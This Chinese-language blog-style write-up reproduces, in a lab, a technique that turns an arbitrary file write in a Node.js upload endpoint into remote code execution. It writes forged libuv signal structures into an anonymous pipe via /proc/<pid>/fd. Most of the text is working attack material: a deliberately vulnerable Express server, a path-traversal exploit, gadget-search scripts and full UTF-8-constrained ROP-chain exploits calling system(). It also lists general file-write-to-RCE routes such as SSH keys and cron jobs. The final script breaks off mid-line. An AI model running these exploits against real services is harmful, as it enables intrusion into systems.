环境搭建 本地环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 测试环境: 系统:Ubuntu20.04 node v22.11 .0 安装nodejs sudo apt update sudo apt remove nodejs curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash - sudo apt install -y nodejs node -v sudo npm install -g npm@latest 配置启动nodejs mkdir nodejs cd nodejs npm init -y npm install express mkdir uploads vim index.js """ const express = require('express'); const fs = require('fs'); const path = require('path'); const app = express(); app.use(express.json()); app.post('/upload', (req, res) => { const { filename, content } = req.body; if (!filename || !content) { return res.status(400).json({ message: 'Filename and content are required!' }); } const filePath = path.join(__dirname, 'uploads', filename); fs.writeFile(filePath, content, (err) => { if (err) { return res.status(500).json({ message: 'Error saving file!' }); } res.json({ message: 'File uploaded successfully!', path: filePath }); }); }); app.listen(3000, () => { console.log('Server running on http://localhost:3000'); }); """ node index.js 客户端向 http://localhost:3000 /upload 发送 POST 请求来测试文件上传。请求的 JSON 格式应类似于: { "filename" : "test.txt" , "content" : "This is a test file content." } 确保请求头部的 Content-Type 设置为 application/json。如果上传成功,您将收到 JSON 响应,确认文件已成功上传。 """ import requests import json # 定义目标 URL url = 'http://localhost:3000/upload' # 构造数据包 data = { "filename": "test.txt", "content": "This is a test file content." } # 发送 POST 请求 response = requests.post(url, json=data) # 打印响应 print("Status Code:", response.status_code) print("Response JSON:", response.json()) """
docker
环境1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 npm init -y npm install express """ # 使用 Node.js 22.11.0 作为基础镜像 FROM node:22.11.0 # 安装 Python3 环境 RUN apt-get update && \ apt-get install -y python3 && \ rm -rf /var/lib/apt/lists/* # 拷贝本地的 gdbserver 到容器的 /usr/local/bin 目录 COPY gdbserver /usr/local/bin/gdbserver RUN chmod +x /usr/local/bin/gdbserver # 设置工作目录 WORKDIR /app # 复制 package.json 和 package-lock.json COPY package*.json ./ # 安装 Node.js 依赖 RUN npm install # 复制应用程序的源代码 COPY . . # 暴露应用程序的端口 EXPOSE 3000 # 设置默认入口为 shell CMD ["/bin/bash"] """ vim index.js """ const express = require('express'); const fs = require('fs'); const path = require('path'); const app = express(); app.use(express.json()); app.post('/upload', (req, res) => { const { filename, content } = req.body; if (!filename || !content) { return res.status(400).json({ message: 'Filename and content are required!' }); } const filePath = path.join(__dirname, 'uploads', filename); fs.writeFile(filePath, content, (err) => { if (err) { return res.status(500).json({ message: 'Error saving file!' }); } res.json({ message: 'File uploaded successfully!', path: filePath }); }); }); app.listen(3000, () => { console.log('Server running on http://localhost:3000'); }); """ docker build -t my-node . docker run --privileged -p 3000 :3000 -p 1234 :1234 -v $(pwd)/123 :/app/shared -it my-node
配置调试环境 docker
容器
1 2 3 4 5 6 7 8 9 10 root@196d69441a97:/app Server running on http://localhost:3000 root@196d69441a97:/app root 17 0.4 1.4 1007156 57404 pts/0 Sl+ 03:04 0 :00 node index.js root 26 0.0 0.0 3324 1572 pts/1 S+ 03:04 0 :00 grep node root@196d69441a97:/app Attached; pid = 17 Listening on port 1234 Remote debugging from host 172.17 .0 .1
Ubuntu
系统
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 root@key:/home/key/Desktop/nodejs/123 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 196d69441a97 my-node "docker-entrypoint.s…" About a minute ago Up About a minute 0.0 .0 .0 :1234 ->1234 /tcp, :::1234 ->1234 /tcp, 0.0 .0 .0 :3000 ->3000 /tcp, :::3000 ->3000 /tcp wizardly_allen root@key:/home/key/Desktop/nodejs/123 172.17 .0 .2 root@key:/home/key/Desktop/nodejs/123 GNU gdb (Ubuntu 9.2 -0ubuntu1~20.04 .2 ) 9.2 Copyright (C) 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details.For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" .pwndbg: loaded 148 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all ] [filter ] for a list . pwndbg: created $rebase, $ida GDB functions (can be used with print /break ) ------- tip of the day (disable with set show-tips off) ------- Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, ds for writing and reading memory pwndbg> file node Reading symbols from node... pwndbg> target remote 172.17 .0 .2 :1234
漏洞分析 任意文件写漏洞分析 在app.js
文件中filename
和content
全是来自请求中的body
内容,导致任意文件写漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 app.post('/upload' , (req, res) => { const { filename, content } = req.body; if (!filename || !content) { return res.status(400 ).json({ message: 'Filename and content are required!' }); } const filePath = path.join(__dirname, 'uploads' , filename); fs.writeFile(filePath, content, (err) => { if (err) { return res.status(500 ).json({ message: 'Error saving file!' }); } res.json({ message: 'File uploaded successfully!' , path: filePath }); }); });
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport jsonurl = 'http://localhost:3000/upload' data = { "filename" : "../zzz/test.txt" , "content" : "This is a test file content." } response = requests.post(url, json=data) print ("Status Code:" , response.status_code)print ("Response JSON:" , response.json())
一般从任意文件写到命令执行思路
将 PHP、JSP、ASPX 或类似文件写入 Web 根目录。
覆盖由服务器端模板引擎处理的模板文件。
写入配置文件(例如,uWSGI .ini 文件或 Jetty .xml 文件)。
添加一个 Python 站点特定的配置钩子。
通过写入 SSH 密钥、添加 cron 作业或覆盖用户的 .bashrc 文件来使用通用方法。
Read-only file system 在一些Linux
或类Linux
系统中,可能是只读文件系统,只有tmp
目录具有可写权限,此时任意文件写入漏洞是否可能转化为代码执行?(剧透一下是完全可以的)
在基于 Unix
的系统(如 Linux
)上,一切都是文件。与传统的文件系统(如 ext4
,它在物理硬盘上存储数据)不同,还有其他文件系统用于不同的目的。其中之一是 procfs
虚拟文件系统,通常挂载在 /proc
目录下,作为内核内部工作原理的窗口。procfs
不存储实际的文件,而是提供关于正在运行的进程、系统内存、硬件配置等实时信息的访问。
procfs
提供的一个特别有趣的信息是正在运行的进程的打开文件描述符,可以通过 /proc//fd/
来检查。进程打开的文件不仅可以是传统文件,还可以是设备文件、套接字和管道。例如,以下命令可以用来列出 Node.js
进程的打开文件描述符:/proc//fd/
。
从上面的输出可以看到,这还包括匿名管道(例如,pipe:[131298]
)。与在文件系统上以命名文件形式暴露的命名管道不同,由于缺乏引用,通常无法写入匿名管道。然而, procfs
文件系统允许 我们通过其在 /proc//fd/
中的条目引用该管道。与 procfs
下的其他文件相比,这种文件写入不需要根权限,可以由运行 Node.js
应用程序的低权限用户执行。
1 user@host:~$ echo hello > /proc/`pidof node`/fd/5
即使 procfs
被以只读方式挂载(例如在 Docker
容器中),也可以写入管道,因为管道由一个名为 pipefs
的独立文件系统处理,该文件系统在内核内部使用。
这为攻击者揭示了新的攻击面:能够写入任意文件的攻击者可以向从匿名管道读取数据的事件处理程序提供数据。
Node.js and Pipes Node.js
基于 V8 JavaScript
引擎构建,该引擎是单线程的。然而,Node.js
提供了异步且非阻塞的事件循环。为此,它使用了一个名为 libuv
的库。该库利用匿名管道来发信号并处理事件,正如我们在上面的输出中通过 procfs
所看到的那样。
当 Node.js
应用程序存在文件写入漏洞时,没有任何机制阻止攻击者向这些管道写入数据,因为运行应用程序的用户对这些管道具有写权限。那么,写入管道的数据会发生什么呢?
在审查相关的 libuv
源代码时,一个名为 uv__signal_event
的处理程序引起了我们的注意。它假定从管道中读取的数据为 uv__signal_msg_t
类型的消息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static void uv__signal_event (uv_loop_t * loop, uv__io_t * w, unsigned int events) { uv__signal_msg_t * msg; do { r = read(loop->signal_pipefd[0 ], buf + bytes, sizeof (buf) - bytes); for (i = 0 ; i < end; i += sizeof (uv__signal_msg_t )) { msg = (uv__signal_msg_t *) (buf + i); handle = msg->handle; if (msg->signum == handle->signum) { assert(!(handle->flags & UV_HANDLE_CLOSING)); handle->signal_cb(handle, handle->signum); }
该数据结构仅包含两个成员:一个指针 handle
和一个名为 signum
的整数。
1 2 3 4 typedef struct { uv_signal_t * handle; int signum; } uv__signal_msg_t ;
该指针的类型是数据结构 uv_signal_t
的类型定义,它包含一个特别有趣的成员 signal_cb
1 2 3 4 5 6 7 8 typedef struct uv_signal_s uv_signal_t ;struct uv_signal_s { UV_HANDLE_FIELDS uv_signal_cb signal_cb; int signum; UV_SIGNAL_PRIVATE_FIELDS }; typedef void (*uv_signal_cb) (uv_signal_t * handle, int signum) ;
该成员是一个函数指针,通常包含回调函数的地址。当两个数据结构中的 signum
值匹配时,该回调函数会在事件处理程序中被调用。
注:其中msg
是uv__signal_msg_t
结构体指针,handle
是uv_signal_s
指针
1 2 3 4 5 6 7 8 msg = (uv__signal_msg_t *) (buf + i); handle = msg->handle; if (msg->signum == handle->signum) { assert(!(handle->flags & UV_HANDLE_CLOSING)); handle->signal_cb(handle, handle->signum); }
下图展示了事件处理程序所期望的数据结构:
该报告被关闭为信息性。这意味着我们在接下来的章节中描述的技术仍适用于最新版本的 Node.js
,并且这种情况在不久的将来可能不会改变。
构建结构体 攻击者利用文件写入漏洞来利用事件处理程序的一般策略可能如下:
向管道写入一个虚假的数据结构 uv_signal_s
,将函数指针 signal_cb
设置为希望调用的任意地址。
向管道写入另一个虚假的数据结构 uv__signal_msg_t
,将 handle
设置为指向之前写入的数据结构的指针 uv_signal_s
。
将两个数据结构体的signum
设置为相同的值 。
实现任意代码执行。
假设攻击者只能写入文件,所有这些都需要在一次写入中完成,而不能事先读取任何内存。
事件处理程序的缓冲区相当大,这使得攻击者可以轻松地将两个数据结构写入管道。然而,有一个障碍:数据结构的地址是未知的,因为所有写入管道的数据都存储在栈上。
因此,攻击者将无法使指针handle
引用虚假的数据结构uv_signal_s
。这引出了一个问题:攻击者是否有任何数据可以引用?
栈、堆以及所有库的地址都是通过地址空间布局随机化(ASLR
)进行随机化的。然而,Node.js
二进制文件本身的段则不是。令人惊讶的是,官方 Linux
版 Node.js
并未启用位置无关可执行文件(PIE
):
显然,这种情况是出于性能考虑,因为 PIE
的间接寻址会增加一些小的开销。对于攻击者来说,这意味着他们可以引用 Node.js
段中的数据,因为该地址是已知的:
注:此时只发送一个uv__signal_msg_t
结构体,并将handle
设置指向uv_signal_s
结构体,而uv_signal_s
结构体是在node
程序中找的,不是我们发送的数据
下一个问题是:攻击者如何能在 Node.js
段中存储虚假的uv_signal_s
结构体?寻找让 Node.js
将攻击者控制的数据存储在静态位置(例如,从 HTTP
请求中读取的数据)的方法是一种方法,但这似乎相当具有挑战性。
一种更简单的方法是直接利用已经存在 的内容。通过检查 Node.js
的内存段,攻击者可能能够识别出适合用于虚假结构的数据。
攻击者理想的数据结构可能类似于以下内容:
这个数据结构以一个命令字符串(system
)开头,后面是一个地址,位于正确的偏移量,以与函数指针重叠。攻击者只需要使这个值与假数据结构匹配,从而调用回调函数,有效地执行命令 system("touch /tmp/pwned")
。
这种方法要求在 Node.js
段中存在 system
的地址。全局偏移表(GOT
)通常是一个候选项。然而,Node.js
并没有使用 system
函数,因此它的地址并不在 GOT
中。即使存在,生成的假数据结构的开头很可能是 GOT
中的另一个条目,而不是一个有用的命令字符串。因此,另一种方法似乎更可行:经典的 ROP
链。
搜索gadget 每个 ROP
链的开始是搜索有用的 ROP
小工具。一个搜索 ROP
小工具的工具通常会解析磁盘上的 ELF
文件,然后确定所有可执行部分。.text
段通常是最大的可执行部分,因为它存储了程序本身的指令。
现在,该工具遍历此段中的字节并查找 ret
指令,例如,因为这是 ROP
小工具的合适最后一条指令。然后,工具从表示该指令的字节向后逐字节地查找,以确定所有可能有用的 ROP
小工具。
然而,在这种情况下,这并不是攻击者所需要的。攻击者需要的是一个引用假数据结构的地址,而这个虚假的uv_signal_s
结构体通过signal_cb
函数指针引用一个 ROP
小工具。因此,这里有一个间接性:ROP
小工具(指令序列的地址)需要存储在被引用的数据本身中。
为了识别像这样的合适数据结构,攻击者需要通过 Node.js
映像进行搜索,类似于经典的 ROP
小工具查找工具。然而,区别在于攻击者不仅对可执行部分(如 .text
段)感兴趣。假数据结构所在的内存不必是可执行的 。攻击者需要的是指向小工具的指针。因此,他们可以考虑所有至少可读的段 。此外,这个搜索可以在内存中进行 ,而不仅仅是解析磁盘上的 ELF
文件。通过这种方式,攻击者还可以找到在运行时仅创建的数据结构,例如在 .bss
段中。这可能会导致误报或特定于环境的结构,但增加了他们获得有用发现的机会,这些发现可以手动验证。
这种针对假数据结构的内存搜索的基本实现实际上非常简单:
1 2 3 4 5 6 7 8 for addr, len in nodejs_segments: for offset in range (len - 7 ): ptr = read_mem(addr + offset, 8 ) if is_mapped(ptr) and is_executable(ptr): instr = read_mem(ptr, n) if is_useful_gadet(instr): print ('gadget at %08x' % addr + offset) print ('-> ' + disassemble(instr))
该 Python
脚本遍历所有 Node.js
内存区域,每次解析 8
个字节作为一个指针,并尝试引用该指针。如果地址已映射并引用了可执行段中的内存,则它会判断存储在该地址的字节序列是否是有用的 ROP
小工具:
这是 Python
脚本的实际效果:
所有潜在有用的 ROP
小工具都被输出,并且现在可以用作在调用回调函数时执行的第一个初始 ROP
小工具。由于所有写入管道的数据都存储在栈上,因此找到一个合适的支点小工具用于第一个小工具就足够了。一旦攻击者将栈指针指向受控数据,就可以使用经典的 ROP
链:
使用此技术利用任意文件漏洞时,有一个注意事项。通常,写入文件的函数(在本例中为 fs.writeFile
)仅限于有效的 UTF-8
数据。因此,写入管道的所有数据必须是有效的 UTF-8
。
克服 UTF-8 限制 由于 Node.js
二进制文件的巨大尺寸(最新 x64
构建约为 110M
),寻找适用于经典 ROP
链的有用 UTF-8
兼容小工具并不困难。然而,这一限制进一步限制了现有数据中适合伪造数据结构的潜在选择。因此,需要在脚本中添加额外的检查,以验证伪造数据结构的基地址是否为有效的 UTF-8
。
1 2 3 4 5 for addr, len in nodejs_segments: for offset in range (len - 7 ): if not is_valid_utf8(addr + offset - 0x60 ): continue ptr = read_mem(addr + offset, 8 )
即使进行了此额外检查,该脚本仍会生成合适的假数据结构,这些结构引用了如下所示的可旋转小工具:
1 2 3 ... 0x4354ca1 -> 0x12d0000 : pop rsi; pop r15; pop rbp; ret ...
这是相关数据结构在内存中的样子:
这个伪造uv_signal_s
结构体的基地址0x4354c41
是有效的 UTF-8
,因此数据结构中的指针可以正确填充。然而,还有signum
与 UTF-8
相关的问题。
signum
值的最后一个字节是 0xf0
,这不是有效的 UTF-8
。如果攻击者尝试通过文件写入漏洞写入这个字节,它将被替换为替换字符,从而导致值检查失败 。如果我们在 UTF-8
可视化工具中输入,我们可以看到这个字节引入了一个 4
字节的 UTF-8
序列:0xf0
。
因此,UTF-8
解析器期望在这个字节之后有3
个续字符字节。由于数据结构包含一个8
字节的指针和一个4
字节的整数,编译器会添加4
个额外的填充字节,以将结构对齐到16
字节。这些字节可以用来添加3
个续字符字节,从而构造一个有效的UTF-8
序列:uv__signal_msg_t
。
例如,上面的软盘是一个有效的4
字节 UTF-8
序列,以 0xf0
开头。通过添加这些续字符字节,攻击者可以满足整个有效负载为有效 UTF-8
的要求,并使这两个值匹配:signum
。
随着最后一个障碍的消除,攻击者能够获得远程代码执行权限。
以下视频演示了针对脆弱示例应用程序的利用,该应用程序以低权限用户身份在具有只读根文件系统和只读 **procfs
**的系统 上运行:
Demonstration of File Write vulnerability on a test instance
漏洞调试 书接上回
当配置gdb
调试环境后,首先先dump
内存
1 2 3 4 5 6 7 dump memory mem1 0x400000 0xe0a000 dump memory mem2 0xe0a000 0xe0d000 dump memory mem3 0xe0e000 0x3005000 dump memory mem4 0x3200000 0x3201000 dump memory mem5 0x3201000 0x64a3000 dump memory mem6 0x64a3000 0x64a7000 dump memory mem7 0x64a7000 0x64d1000
利用python
脚本寻找合适的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import *def is_valid_utf8 (byte_seq ): try : byte_seq.decode('utf-8' ) return True except UnicodeDecodeError: return False """ dump memory mem1 0x400000 0xe0a000 dump memory mem2 0xe0a000 0xe0d000 dump memory mem3 0xe0e000 0x3005000 dump memory mem4 0x3200000 0x3201000 dump memory mem5 0x3201000 0x64a3000 dump memory mem6 0x64a3000 0x64a7000 dump memory mem7 0x64a7000 0x64d1000 """ def read_mem (addr, size ): if 0x400000 < addr < 0xe0a000 : base = 0x400000 data = mem1[addr - base: addr + size - base] elif 0xe0a000 < addr < 0xe0d000 : base = 0xe0a000 data = mem2[addr - base: addr + size - base] elif 0xe0e000 < addr < 0x3005000 : base = 0xe0e000 data = mem3[addr - base: addr + size - base] elif 0x3200000 < addr < 0x3201000 : base = 0x3200000 data = mem4[addr - base: addr + size - base] elif 0x3201000 < addr < 0x64a3000 : base = 0x3201000 data = mem5[addr - base: addr + size - base] elif 0x64a3000 < addr < 0x64a7000 : base = 0x64a3000 data = mem6[addr - base: addr + size - base] elif 0x64a7000 < addr < 0x64d1000 : base = 0x64a7000 data = mem7[addr - base: addr + size - base] else : return None return data def is_useful_gadget (out ): dis_list = out.split('\n' ) for n, x in enumerate (dis_list): if x == 'ret' : for _ in range (0 , n): if 'bad' in dis_list[_]: return False return True return False with open ("mem1" , "rb" ) as f: mem1 = f.read() with open ("mem2" , "rb" ) as f: mem2 = f.read() with open ("mem3" , "rb" ) as f: mem3 = f.read() with open ("mem4" , "rb" ) as f: mem4 = f.read() with open ("mem5" , "rb" ) as f: mem5 = f.read() with open ("mem6" , "rb" ) as f: mem6 = f.read() with open ("mem7" , "rb" ) as f: mem7 = f.read() segments = [ (0x400000 , 0xe0a000 - 0x400000 ), (0xe0a000 , 0xe0d000 - 0xe0a000 ), (0xe0e000 , 0x3005000 - 0xe0e000 ), (0x3200000 , 0x3201000 - 0x3200000 ), (0x3201000 , 0x64a3000 - 0x3201000 ), (0x64a3000 , 0x64a7000 - 0x64a3000 ), (0x64a7000 , 0x64d1000 - 0x64a7000 ) ] with open ("output.txt" , "w" ) as output_file: for addr, length in segments: for offset in range (length - 4 ): handle = addr + offset if not is_valid_utf8(p64(handle - 0x60 )): continue signum = read_mem(handle + 8 , 4 ) if not is_valid_utf8(signum): continue ptr = read_mem(handle, 8 ) data = read_mem(u64(ptr), 30 ) if data is None : continue out = disasm(data, arch='amd64' , byte=False , offset=False ) if is_useful_gadget(out): if "pop rbp" in out or "leave" in out: output_file.write(f'handle {hex (handle)} -> ptr: {u64(ptr)} signum {hex (u32(signum))} \n' ) output_file.write(out + '\n' )
最终找到一条合格的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 handle 0x3b49a48 -> ptr: 27902480 signum 0x1a9c210 mov edx, esi mov rdi, r12 mov esi, 0x3b498f7 call 0xffffffffffffff20 add rsp, 0x70 xor eax, eax pop rbx pop r12 pop r13 pop r14 pop rbp ret
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *import jsonimport requestsfrom urllib.parse import quotecontent = p64(0x3b49a48 - 0x60 ) + p64(0x1a9c210 ) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa' a = content.decode('utf-8' ) print (f"content: {content} " )data = {'filename' :"../../../../proc/98/fd/11" ,"content" :content.decode('utf-8' )} resp = requests.post("http://172.17.0.2:3000/upload" ,data = json.dumps(data),headers = {"Content-Type" :"application/json" })
在11
通道读取0x200
个字符
可以看到可以控制rbx
,r12
,r13
,r14
,rbp
,rip
寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pwndbg> i r rax 0x0 0 rbx 0x616161616161616c 7016996765293437292 rcx 0x1a9c210 27902480 rdx 0x3b498f7 62167287 rsi 0x1a9c1e0 27902432 rdi 0x3b499e8 62167528 rbp 0x6161616161616170 0x6161616161616170 rsp 0x7f310e19bdd0 0x7f310e19bdd0 r8 0x3b498f7 62167287 r9 0x6356 25430 r10 0x7ffc91646090 140722747760784 r11 0x246 582 r12 0x616161616161616d 7016996765293437293 r13 0x616161616161616e 7016996765293437294 r14 0x616161616161616f 7016996765293437295 r15 0x0 0 rip 0x1a9c22d 0x1a9c22d <v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::ConstantExpressionInterface, (v8::internal::wasm::DecodingMode)1 >::DecodeStringRefOpcode(v8::internal::wasm::WasmOpcode, unsigned int )+221 > eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x21008000 553680896 k1 0xff7ffbff 4286577663 k2 0xff7ffbff 4286577663 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0
exp
由于程序本身没有 system
、 popen
等函数的调用 ,所以不可以直接 ret2text
, 思路简单定成如下:
找到一个 gadget
能将cmd
写到bss
段中
找到一个 gadget
能从任意地址读取值, 然后赋值到某个寄存器上
找到一个gadget
能对可控的寄存器进行加减法运算
找到一个 libc
函数, 该函数与 system
的偏移满足 UTF-8
编码
首先利用python脚本筛选出所有gadget地址满足utf-8的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *def is_valid_utf8 (byte_seq ): try : byte_seq.decode('utf-8' ) return True except UnicodeDecodeError: return False lines = [line.replace('\n' , '' ) for line in open ('./gadgets' , 'r' ).readlines()] lines = list (filter (lambda line: ' : ' in line, lines)) lines = list (map (lambda line: line.split(' : ' ), lines)) result = list (filter (lambda l: is_valid_utf8(p64(int (l[0 ], 16 ))), lines)) with open ('out.txt' , 'w' ) as f: for i in result: f.write(f"{i[0 ]} : {i[1 ]} \n" )
思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 0x0000000002780d6d : pop rax ; sal edx, 0xf ; pop rcx ; ret0x0000000001526e68 : mov qword ptr [rax], rcx ; pop rbx ; pop r12 ; pop rbp ; ret0x00000000029088e6 : pop rdi ; adc al, 0xe8 ; ret0x00000000011b6524 : mov rax, qword ptr [rax] ; ret0x00000000016e1c42 : add rax, rcx ; ret0x0000000002237647 : mov edx, 1 ; jmp rax.got:00000000064A6048 __assert_fail_ptr dq offset __assert_fail system_addr - __assert_fail_addr = 0x17620 pop_rax_rcx_ret = 0x0000000002780d6d mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68 pop_rdi_ret = 0x00000000029088e6 mov_rax_rax_ret = 0x00000000011b6524 add_rax_rcx_ret = 0x00000000016e1c42 jmp_rax = 0x0000000002237647 __assert_fail_got = 0x00000000064A6048 bss_addr = 0x00000000064D1060 content = p64(0x3b49a48 - 0x60 ) + p64(0x1a9c210 ) + b'a' *0x80 content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp) ... ... content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp) content += p64(pop_rdi_ret) + p64(bss_addr) content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620 ) content += p64(mov_rax_rax_ret) content += p64(add_rax_rcx_ret) content += p64(jmp_rax)
测试exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import jsonimport requestsfrom urllib.parse import quotepop_rax_rcx_ret = 0x0000000002780d6d mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68 pop_rdi_ret = 0x00000000029088e6 mov_rax_rax_ret = 0x00000000011b6524 add_rax_rcx_ret = 0x00000000016e1c42 jmp_rax = 0x0000000002237647 __assert_fail_got = 0x00000000064A6048 bss_addr = 0x00000000064D1060 content = p64(0x3b49a48 - 0x60 ) + p64(0x1a9c210 ) + b'a' *0x80 content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(0x742F206863756F74 ) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) content += p64(pop_rax_rcx_ret) + p64(bss_addr+8 ) + p64(0x3B67616C662F706D ) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) content += p64(pop_rdi_ret) + p64(bss_addr) content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620 ) content += p64(mov_rax_rax_ret) content += p64(add_rax_rcx_ret) content += p64(jmp_rax) a = content.decode('utf-8' ) print (f"content: {content} " )data = {'filename' :"../../../../proc/82/fd/11" ,"content" :content.decode('utf-8' )} resp = requests.post("http://172.17.0.2:3000/upload" ,data = json.dumps(data),headers = {"Content-Type" :"application/json" })
可以看到已经将rdi指向了cmd
地址,跳转到system
函数
但在system
函数中,发生了崩溃,崩溃原因:内存对齐问题 :movaps
要求目标内存地址必须是 16
字节对齐的。如果 [rsp + 0x50]
的地址(即 0x7f0243579b38
)不是 16
字节对齐,那么执行 movaps
就会导致崩溃。
解决栈对齐问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0x0000000002780d6d : pop rax ; sal edx, 0xf ; pop rcx ; ret0x0000000001526e68 : mov qword ptr [rax], rcx ; pop rbx ; pop r12 ; pop rbp ; ret0x00000000029088e6 : pop rdi ; adc al, 0xe8 ; ret0x00000000011b6524 : mov rax, qword ptr [rax] ; ret0x00000000016e1c42 : add rax, rcx ; ret0x0000000002564072 : xor r14b, r14b ; ret0x0000000002237647 : mov edx, 1 ; jmp rax.got:00000000064A6048 __assert_fail_ptr dq offset __assert_fail system_addr - __assert_fail_addr = 0x17620 pop_rax_rcx_ret = 0x0000000002780d6d mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68 pop_rdi_ret = 0x00000000029088e6 mov_rax_rax_ret = 0x00000000011b6524 add_rax_rcx_ret = 0x00000000016e1c42 xor_r14b_ret = 0x0000000002564072 jmp_rax = 0x0000000002237647 __assert_fail_got = 0x00000000064A6048 bss_addr = 0x00000000064D1060 content = p64(0x3b49a48 - 0x60 ) + p64(0x1a9c210 ) + b'a' *0x80 content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp) ... ... content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp) content += p64(pop_rdi_ret) + p64(bss_addr) content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620 ) content += p64(mov_rax_rax_ret) content += p64(add_rax_rcx_ret) content += p64(xor_r14b_ret) content += p64(jmp_rax)
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *import jsonimport requestsfrom urllib.parse import quotepop_rax_rcx_ret = 0x0000000002780d6d mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68 pop_rdi_ret = 0x00000000029088e6 mov_rax_rax_ret = 0x00000000011b6524 add_rax_rcx_ret = 0x00000000016e1c42 xor_r14b_ret = 0x0000000002564072 jmp_rax = 0x0000000002237647 __assert_fail_got = 0x00000000064A6048 bss_addr = 0x00000000064D1060 content = p64(0x3b49a48 - 0x60 ) + p64(0x1a9c210 ) + b'a' *0x80 content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(0x742F206863756F74 ) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) content += p64(pop_rax_rcx_ret) + p64(bss_addr+8 ) + p64(0x3B67616C662F706D ) content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) + p64(0x4141414141414141 ) content += p64(pop_rdi_ret) + 